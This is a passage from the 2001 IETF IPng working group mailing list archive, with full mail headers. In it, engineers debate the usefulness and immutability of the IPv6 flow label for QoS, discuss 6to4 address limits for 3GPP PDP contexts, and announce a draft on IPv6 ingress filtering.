majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQGk36M018362 for ipng-dist; Wed, 26 Dec 2001 08:46:03 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQGk0ZR018355 for ; Wed, 26 Dec 2001 08:46:00 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA09612 for ; Wed, 26 Dec 2001 08:46:01 -0800 (PST) Received: from snark.piermont.com ([166.84.151.72]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA11183 for ; Wed, 26 Dec 2001 09:46:00 -0700 (MST) Received: by snark.piermont.com (Postfix, from userid 1000) id DFAC0D97CE; Wed, 26 Dec 2001 11:45:58 -0500 (EST) From: "Perry E. Metzger" To: Brian E Carpenter Cc: ipng@sunroof.eng.sun.com Subject: Re: Round and round Re: Flow Label References: <87pu54msw4.fsf@snark.piermont.com> <3C29E408.B6A07738@hursley.ibm.com> Date: 26 Dec 2001 11:45:58 -0500 In-Reply-To: <3C29E408.B6A07738@hursley.ibm.com> Message-ID: <87wuzaaq0p.fsf@snark.piermont.com> Lines: 40 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Brian E Carpenter writes: > Let's either clarify them, as in the one para summary that Tony Hain > sent a few days ago, or simply write the field off as reserved, in which > case IPv6 will have no advantage of IPv4 for QOS purposes. I think the notion of making our protocols better for QoS purposes is an admirable one. My problem is that I don't think anyone has well demonstrated that the flow label *will* give us an advantage for QoS purposes. I understand the arguments. I just haven't seen anyone step up with the crucial "we at large router vendor have done the experiment and even though we have to reach into the packet anyway to do tuple extraction having this in a percentage of the packets will increase performance in this quantitative way." I'll repeat (broken-record like), we've already deployed the end point implementations in the field. We can't change those stacks at this point. By the way, as I've often said: the killer app for IPv6 is not QoS or security or anything else -- all those can be achieved (though sometimes with greater effort) in IPv4. The killer app for IPv6 is having an internet again. The mere fact that any user of IPv6 can reasonably expect to receive as well as to make connections, because they have a globally routable address, is a profound change from today's network in which the end to end principle is rapidly disintegrating. It is, to use my standard metaphor, like a phone network where most people can only call out -- hardly a good thing. Or to put it another way, you can't connect to your home machine and download that report you were working on the previous night but forgot to bring with you if it is behind a NAT box on your cable modem. That's why you need IPv6 -- so you'll have an internet, not because it is better at QoS. Perry -- Perry E. Metzger perry@wasabisystems.com -- NetBSD Development, Support & CDs. http://www.wasabisystems.com/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 08:48:05 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQGm4ZR018383 for ; Wed, 26 Dec 2001 08:48:04 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQGm49W018382 for ipng-dist; Wed, 26 Dec 2001 08:48:04 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQGm0ZR018375 for ; Wed, 26 Dec 2001 08:48:00 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA09703 for ; Wed, 26 Dec 2001 08:48:02 -0800 (PST) Received: from snark.piermont.com ([166.84.151.72]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA13327 for ; Wed, 26 Dec 2001 09:48:01 -0700 (MST) Received: by snark.piermont.com (Postfix, from userid 1000) id 325B1D97CE; Wed, 26 Dec 2001 11:48:00 -0500 (EST) From: "Perry E. Metzger" To: Brian E Carpenter Cc: ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <87pu54msw4.fsf@snark.piermont.com> <15399.47568.627426.907205@thomasm-u1.cisco.com> <87wuzci3h9.fsf@snark.piermont.com> <3C29E475.4E11AC8D@hursley.ibm.com> Date: 26 Dec 2001 11:47:59 -0500 In-Reply-To: <3C29E475.4E11AC8D@hursley.ibm.com> Message-ID: <87sn9yapxc.fsf@snark.piermont.com> Lines: 22 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Brian E Carpenter writes: > "Perry E. Metzger" wrote: > ... > > Yes, you need to go on. For the most part, I'm not sure this is going > > work out. As I note, we've already deployed. Windows XP and such > > aren't going to be obeying any of this, > > We're designing for 2002 operating systems? I thought we were designing > for the next 50 years. We're designing for 2002 operating systems if we want to see this deployed before 50 years from now. I'm reminded of the old expression "time to shoot the engineers and ship the product." Perry -- Perry E. Metzger perry@wasabisystems.com -- NetBSD Development, Support & CDs. http://www.wasabisystems.com/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 08:48:49 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQGmmZR018400 for ; Wed, 26 Dec 2001 08:48:49 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQGmmel018399 for ipng-dist; Wed, 26 Dec 2001 08:48:48 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQGmiZR018392 for ; Wed, 26 Dec 2001 08:48:44 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA10035 for ; Wed, 26 Dec 2001 08:48:46 -0800 (PST) Received: from snark.piermont.com ([166.84.151.72]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA11907 for ; Wed, 26 Dec 2001 09:48:45 -0700 (MST) Received: by snark.piermont.com (Postfix, from userid 1000) id 659B7D97CE; Wed, 26 Dec 2001 11:48:44 -0500 (EST) From: "Perry E. Metzger" To: Michael Thomas Cc: ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <87pu54msw4.fsf@snark.piermont.com> <15399.47568.627426.907205@thomasm-u1.cisco.com> <87wuzci3h9.fsf@snark.piermont.com> <15399.50180.243725.647302@thomasm-u1.cisco.com> <87666wi1ou.fsf@snark.piermont.com> <15399.52762.580187.141948@thomasm-u1.cisco.com> <87sna0gkoo.fsf@snark.piermont.com> <15400.50164.852323.177813@thomasm-u1.cisco.com> <87g05zds04.fsf@snark.piermont.com> <15401.63834.984524.789399@thomasm-u1.cisco.com> Date: 26 Dec 2001 11:48:44 -0500 In-Reply-To: <15401.63834.984524.789399@thomasm-u1.cisco.com> Message-ID: <87ofkmapw3.fsf@snark.piermont.com> Lines: 18 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Michael Thomas writes: > Perry E. Metzger writes: > > I'm looking for statements from several router vendors that look much > > like this: > > I don't speak for Cisco. I speak for myself. > > Sorry. Well, speaking for yourself, can you describe your simulations of hardware performance with and without the flow label? Perry -- Perry E. Metzger perry@wasabisystems.com -- NetBSD Development, Support & CDs. http://www.wasabisystems.com/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 08:58:35 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQGwZZR018425 for ; Wed, 26 Dec 2001 08:58:35 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQGwZnD018424 for ipng-dist; Wed, 26 Dec 2001 08:58:35 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQGwVZR018417 for ; Wed, 26 Dec 2001 08:58:32 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA07483 for ; Wed, 26 Dec 2001 08:58:33 -0800 (PST) Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA17306 for ; Wed, 26 Dec 2001 09:59:26 -0700 (MST) Received: from eed.ericsson.se (mailhost.eed.ericsson.se [164.48.133.33]) by penguin.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id fBQGwUK07012; Wed, 26 Dec 2001 17:58:31 +0100 (MET) Received: from eed.ericsson.se (arzur4m15.eu.ericsson.se [164.48.166.15]) by eed.ericsson.se (8.8.8+Sun/1.1.mit) with ESMTP id RAA25747; Wed, 26 Dec 2001 17:58:27 +0100 (MET) Message-ID: <3C2A01B2.68B1E4E6@eed.ericsson.se> Date: Wed, 26 Dec 2001 17:58:26 +0100 From: Juan-Antonio Ibanez X-Mailer: Mozilla 4.74 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Hughes John-CJH023 CC: "'Margaret Wasserman'" , ipng@sunroof.eng.sun.com Subject: Re: Feedback from 3GPP about draft-wasserman References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi John and Margaret, Late reply, but I have been traveling quite a lot lately... You are right, RAs will of course be per PDP context. What I had in mind (though it's not what I wrote in my hasty reply) is that all terminals attached to a given APN would receive RAs with the same upper 48 bits. But it was without considering that we could allocate a x/ IPv4 address to an APN, with x<32, as suggested by Brian, and thus raise the limit to 2^(32-x) times 64k PDP contexts per APN when using 6to4 (though one could wonder whether this is totally in line with RFC 3056). So I guess I agree that the limit is not strictly 64k PDP contexts per APN. BR, Juan Hughes John-CJH023 wrote: > > Hi Margaret, > > I agree with you that the router advertisement will be different for each PDP context, after all the RA is the mechanism by which the MS is notified of the prefix which it may use and if /64 is being assigned on a per PDP context basis then each prefix must be different. > > However for each IPv4 address, there can only be 64k (well 2^16) prefixes where 6to4 is being used. So it is still the case that with 6to4, each IPv4 global address allows 64k PDP contexts per APN to be supported. Having n IPv4 addresses, will allow n x 64k PDP contexts to be supported per APN. > > I echo a comment by Brian, 6to4 is intended to be a transition mechanism and is not intended for sites with >30 or 40 million users. When IPv6 in 3GPP is that successful where an operator has >30 million IPv6 PDP Contexts, there should exist native IPv6 connections. > > I do not see your draft preventing the use of 6to4, so long as an operator does not plan using 6to4 as a long term strategy. > > Regards, > John > > > >Well, all terminals attached to a given APN will receive the > > same router > > >advertisements from the GGSN, so having two IPv4 global addresses per > > >APN would simply mean that each primary PDP context would > > get two 6to4 > > >addresses, but the limit will still be 64k primary PDP > > contexts per APN. > > > > Why would all terminals attached to a given APN receive the > > same router > > advertisements? Won't there be multiple PDP contexts associated with > > a given APN? If so, the GGSN should be sending different router > > advertisements for each PDP context, each containing the prefix(es) > > assigned to that particular PDP context. > > > > Since each prefix will be assigned to one (and only one) PDP > > context, I > > think that you will have the possibility of assigning 64K > > 6to4 addresses > > per PDP context, not per APN. > > > > Am I misunderstanding something? > > > > Margaret > > > > > > -------------------------------------------------------------------- > > IETF IPng Working Group Mailing List > > IPng Home Page: http://playground.sun.com/ipng > > FTP archive: ftp://playground.sun.com/pub/ipng > > Direct all administrative requests to majordomo@sunroof.eng.sun.com > > -------------------------------------------------------------------- > > -- ---------------------------------------------- Juan-Antonio Ibanez Ericsson Mobile Data Design AB Gothenborg - Sweden Tel.: +46 31 344 1828 (mobile) Email: Juan-Antonio.Ibanez@eed.ericsson.se ---------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 09:04:57 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQH4vZR018456 for ; Wed, 26 Dec 2001 09:04:57 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQH4vpZ018455 for ipng-dist; Wed, 26 Dec 2001 09:04:57 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQH4rZR018448 for ; Wed, 26 Dec 2001 09:04:53 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA11088 for ; Wed, 26 Dec 2001 09:04:55 -0800 (PST) Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA24500 for ; Wed, 26 Dec 2001 09:04:55 -0800 (PST) Received: from kenawang ([192.168.1.65]) by mail.wrs.com (8.9.3/8.9.1) with ESMTP id JAA13292; Wed, 26 Dec 2001 09:03:09 -0800 (PST) Message-Id: <4.2.2.20011226114335.020008f0@mail.windriver.com> X-Sender: mrw@mail.windriver.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Wed, 26 Dec 2001 12:01:59 -0500 To: Brian E Carpenter From: Margaret Wasserman Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt Cc: "Hesham Soliman (ERA)" , ipng@sunroof.eng.sun.com In-Reply-To: <3C29CEEE.A9F9C2D@hursley.ibm.com> References: <4.2.2.20011221173505.01fd64b0@mail.windriver.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >No. The immutability property is necessary for both of the >existing QOS standards, and is necessary for any QOS mechanism >that doesn't require an explicit chain of SLAs along the entire >path (an unlikely scenario in a dynamically routed internet). If immutability would make the flow label field useful for diffserv and intserv, then I have no objection to it being immutable. I think that making intserv/diffserv more useful and/or efficient would be a fine use for the flow lable. Could we get a draft that explains how the flow label would be used for diffserv/intserv? One that justifies the need for immutability? Assuming that immutability would actually make the flow label more useful for diffserv/intserv, I would accept the minor changes to the base IPv6 spec (adding immutability) that Tony sent. But, I have not seen any draft that would make this single change. The current draft (in the subject) says a lot more than this. First, it recaps parts of the IPv6 Appendix, without really making it clear what parts of that Appendix it is (and is not) intending to standardize. The draft also states that a given source/desination/FL combination will uniquely identify a flow. This is not true -- some knowledge of lifetimes, or some restrictions against flow label re-use would be needed to make this true. Anyway, how a flow is identified shouldn't be defined as part of the base IPv6 specification. Each signalling (or other flow management) mechanism should define how flows are identified for its use -- and this may differ for different mechanisms. So -- what I'd like to see: - A draft that explains how the flow label would be used for intserv and/or diffserv that explains what properties are necessary for that use (i.e. length, immutability, values, etc.) - A draft that proposes the simple change to the IPv6 spec that Tony sent. Do you think that is reasonable? Margaret -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 09:40:13 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQHeDZR018495 for ; Wed, 26 Dec 2001 09:40:13 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQHeDa4018494 for ipng-dist; Wed, 26 Dec 2001 09:40:13 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQHeAZR018487 for ; Wed, 26 Dec 2001 09:40:10 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA18849 for ; Wed, 26 Dec 2001 09:40:12 -0800 (PST) Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA13556 for ; Wed, 26 Dec 2001 09:40:12 -0800 (PST) Received: from T23KEMPF (dhcp126.docomo-usa.com [172.21.96.126]) by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fBQHdt812884; Wed, 26 Dec 2001 09:39:55 -0800 (PST) Message-ID: <00a901c18e34$1b9e0930$7e6015ac@T23KEMPF> From: "James Kempf" To: "Scott Bradner" , References: <200112250049.fBP0n1d08852@newdev.harvard.edu> Subject: Re: Flow Label Date: Wed, 26 Dec 2001 09:38:19 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Scott, The most compelling application I've seen is for QoS classification when the packet is encrypted. Most of the other applications people have cited can probably be handled by other means, as you point out. jak ----- Original Message ----- From: "Scott Bradner" To: Sent: Monday, December 24, 2001 4:49 PM Subject: Re: Flow Label > > I've been watching the discussion over the IPv6 flow label for a while > and (like Perry) have yet to see anything I woukd call a real reason > to be doing anything with it - specifically I've seen no vendors say what > specific use they would put a FL to. > > I find it hard to see why so much time is being spent on this other > than the fear that idle bits are the devil's playground - i.e. the > fear of unassigned bits in the header - I'd rather wait until > we are real sure that 1/ there is one or more use(s) for the FL that > consensus can be reached on, 2/ have some understanding on what the FL > characteristics are for those uses > > Over the last few years I have seen suggestions ranging from the original > idea of ofloading router forwarding engines (hard to justify in an era > of ASIC-based and network processor-based forwarders, to an ID for the > owner of the content of a packet, to QoS lables (which are hard to > diferentiate from difserv code points in teh real world), to billing > information. None of these have presented a compelling reason to think > that we understand any FL use well enough to define anything now. > > ymmv > > Scott > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 10:01:11 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQI1BZR018525 for ; Wed, 26 Dec 2001 10:01:11 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQI1AWf018524 for ipng-dist; Wed, 26 Dec 2001 10:01:10 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQI17ZR018517 for ; Wed, 26 Dec 2001 10:01:07 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA21366 for ; Wed, 26 Dec 2001 10:01:09 -0800 (PST) Received: from snark.piermont.com ([166.84.151.72]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA06761 for ; Wed, 26 Dec 2001 10:01:09 -0800 (PST) Received: by snark.piermont.com (Postfix, from userid 1000) id A3356D97CE; Wed, 26 Dec 2001 13:01:07 -0500 (EST) From: "Perry E. Metzger" To: "James Kempf" Cc: Subject: Re: Flow Label References: <200112250049.fBP0n1d08852@newdev.harvard.edu> <00a901c18e34$1b9e0930$7e6015ac@T23KEMPF> Date: 26 Dec 2001 13:01:07 -0500 In-Reply-To: <00a901c18e34$1b9e0930$7e6015ac@T23KEMPF> Message-ID: <871yhhc13w.fsf@snark.piermont.com> Lines: 16 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk "James Kempf" writes: > The most compelling application I've seen is > for QoS classification when the packet > is encrypted. Most of the other applications > people have cited can probably be handled > by other means, as you point out. Can't we do classification by expressing the traffic type in the "traffic" field in the encapsulating packet, however? .pm -- Perry E. Metzger perry@wasabisystems.com -- NetBSD Development, Support & CDs. http://www.wasabisystems.com/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 10:16:32 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQIGWZR018559 for ; Wed, 26 Dec 2001 10:16:32 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQIGWxo018558 for ipng-dist; Wed, 26 Dec 2001 10:16:32 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQIGSZR018551 for ; Wed, 26 Dec 2001 10:16:28 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA17653 for ; Wed, 26 Dec 2001 10:16:31 -0800 (PST) Received: from newdev.harvard.edu (newdev.eecs.harvard.edu [140.247.60.212]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA14460 for ; Wed, 26 Dec 2001 11:17:24 -0700 (MST) Received: (from sob@localhost) by newdev.harvard.edu (8.10.2/8.10.2) id fBQIGLF12128; Wed, 26 Dec 2001 13:16:21 -0500 (EST) Date: Wed, 26 Dec 2001 13:16:21 -0500 (EST) From: Scott Bradner Message-Id: <200112261816.fBQIGLF12128@newdev.harvard.edu> To: ipng@sunroof.eng.sun.com, kempf@docomolabs-usa.com, sob@harvard.edu Subject: Re: Flow Label Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > The most compelling application I've seen is > for QoS classification when the packet > is encrypted. the difserv field is not encrypted so I am not compelled by this example Scott -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 10:25:23 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQIPNZR018593 for ; Wed, 26 Dec 2001 10:25:23 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQIPNB9018592 for ipng-dist; Wed, 26 Dec 2001 10:25:23 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQIPGZR018577; Wed, 26 Dec 2001 10:25:16 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA18292; Wed, 26 Dec 2001 10:25:19 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA06438; Wed, 26 Dec 2001 11:25:18 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBQIPGb24738; Wed, 26 Dec 2001 19:25:16 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id TAA09919; Wed, 26 Dec 2001 19:25:16 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBQIPGD14500; Wed, 26 Dec 2001 19:25:16 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112261825.fBQIPGD14500@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: ipng@sunroof.eng.sun.com Cc: mobile-ip@sunroof.eng.sun.com Subject: IPv6 ingress filtering early access Date: Wed, 26 Dec 2001 19:25:16 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I have written a draft about IPv6 ingress filtering (with home address option considerations). It is not finished (some editing is needed) but I have put it for early access on (sorry for the long line): ftp://ftp.ipv6.rennes.enst-bretagne.fr/pub/draft-dupont-ipv6-ingress-filtering-00.txt I'll collect comment(s) in one week because me, the I-D editor and perhaps my co-author are on holidays. Happy new year! Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 10:27:24 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQIROZR018664 for ; Wed, 26 Dec 2001 10:27:24 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQIROTW018663 for ipng-dist; Wed, 26 Dec 2001 10:27:24 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQIRLZR018653 for ; Wed, 26 Dec 2001 10:27:21 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by 